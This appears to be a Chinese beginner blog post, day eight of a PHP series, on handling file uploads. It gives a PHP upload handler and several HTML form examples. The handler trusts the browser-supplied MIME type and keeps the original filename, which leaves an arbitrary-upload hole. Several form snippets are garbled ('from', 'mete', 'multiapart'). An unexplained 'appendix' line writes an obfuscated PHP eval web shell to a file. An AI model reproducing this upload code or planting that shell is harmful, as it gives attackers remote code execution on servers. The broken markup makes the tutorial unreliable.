PHP初级【10天小积累-第八天】

本文详细介绍了PHP实现文件上传的过程,包括HTML表单设置、PHP接收文件、检查文件类型及大小,并提供了多文件上传的示例。同时,提到了文件上传安全问题,如限制上传文件类型和检查错误代码,防止非法文件上传。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述

蓝易云高性能服务器

在这里插入图片描述
|

|

|

|

|

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

|

|

|

|

|

PHP文件上传-8

1.php

记住

action为空是发送给本地

enctype必须等于multipart/form-data不然无法上传图片

file意思是文件

submit意思是提交

移动文件函数

<form action="" enctype="multipart/form-data" method="post" 
name="uploadfile">上传文件:<input type="file" name="upfile" /><br> 
<input type="submit" value="上传" /></form> 
<?php 
//print_r($_FILES["upfile"]); 
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
$upfile=$_FILES["upfile"]; 
//获取数组里面的值 
$name=$upfile["name"];//上传文件的文件名 
$type=$upfile["type"];//上传文件的类型 
$size=$upfile["size"];//上传文件的大小 
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径 
//判断是否为图片 
switch ($type){ 
case 'image/pjpeg':$okType=true; 
break; 
case 'image/jpeg':$okType=true; 
break; 
case 'image/gif':$okType=true; 
break; 
case 'image/png':$okType=true; 
break; 
} 

if($okType){ 
/** 
* 0:文件上传成功<br/> 
* 1:超过了文件大小,在php.ini文件中设置<br/> 
* 2:超过了文件的大小MAX_FILE_SIZE选项指定的值<br/> 
* 3:文件只有部分被上传<br/> 
* 4:没有文件被上传<br/> 
* 5:上传文件大小为0 
*/ 
$error=$upfile["error"];//上传后系统返回的值 
echo "================<br/>"; 
echo "上传文件名称是:".$name."<br/>"; 
echo "上传文件类型是:".$type."<br/>"; 
echo "上传文件大小是:".$size."<br/>"; 
echo "上传后系统返回的值是:".$error."<br/>"; 
echo "上传文件的临时存放路径是:".$tmp_name."<br/>"; 

echo "开始移动上传文件<br/>"; 
//把上传的临时文件移动到up目录下面 
move_uploaded_file($tmp_name,'config/'.$name); 
$destination="config/".$name; 
echo "================<br/>"; 
echo "上传信息:<br/>"; 
if($error==0){ 
echo "文件上传成功啦!"; 
echo "<br>图片预览:<br>"; 
echo "<img src=".$destination.">"; 
//echo " alt=\"图片预览:\r文件名:".$destination."\r上传时间:\">"; 
}elseif ($error==1){ 
echo "超过了文件大小,在php.ini文件中设置"; 
}elseif ($error==2){ 
echo "超过了文件的大小MAX_FILE_SIZE选项指定的值"; 
}elseif ($error==3){ 
echo "文件只有部分被上传"; 
}elseif ($error==4){ 
echo "没有文件被上传"; 
}else{ 
echo "上传文件大小为0"; 
} 
}else{ 
echo "请上传jpg,gif,png等格式的图片!"; 
} 
} 
?> 

提交表单

文件

<html>
    <head>
        <mete charset="utf-8" />
        <title>单文件上传</title>
    </head>
    <body>
        <from action="" method="post"enctype="multiapart/from-data">
            <input type="file" name="filename">
            <input type="submit" value="上传"
        </from>
    </body>
</html>

文本

<html>
    <head>
        <mete charset="utf-8" />
        <title>单文件上传</title>
    </head>
    <body>
        <from action="" method="post"enctype="multiapart/from-data">
            <input type="test" name="filename">
            <input type="submit" value="上传"
        </from>
    </body>
</html>
密码
<html>
    <head>
        <mete charset="utf-8" />
        <title>单文件上传</title>
    </head>
    <body>
        <from action="" method="post"enctype="multiapart/from-data">
            <input type="password" name="filename">
            <input type="submit" value="上传"
        </from>
    </body>
</html>

时间

<html>
    <head>
        <mete charset="utf-8" />
        <title>单文件上传</title>
    </head>
    <body>
        <from action="" method="post"enctype="multiapart/from-data">
            <input type="time" name="filename">
            <input type="submit" value="上传"
        </from>
    </body>
</html>

多文件提交

<html>
    <head>
        <meta charset="utf-8">
        <title>文件上传</title>
        
    </head>
    <body>
        <form action="" method="post" enctype="multipart/form-data">
         <input type="file" name="file[]">
         <input type="file" name="file[]">
         <input type="submit" value="上传">    
        </form>
        
    </body>

</html>
<?php
//打印$_FILES文件上传数组的数据
var_dump($_FILES);
?>

他们的name要一样并且会面要跟一个中括号,[]为什么要加中括号,因为加了中括号代表他们是以数组的形式传输过去的,并不是分开

附加

创建文件

$myfile = fopen("1.php", "w")

写入文件并覆盖

file_put_contents(%27sjz.php%27,"<?php"."%20"."@eval"."($"."_"."POST"."[%27shell%27]);"."?>");



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

无聊的知识

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值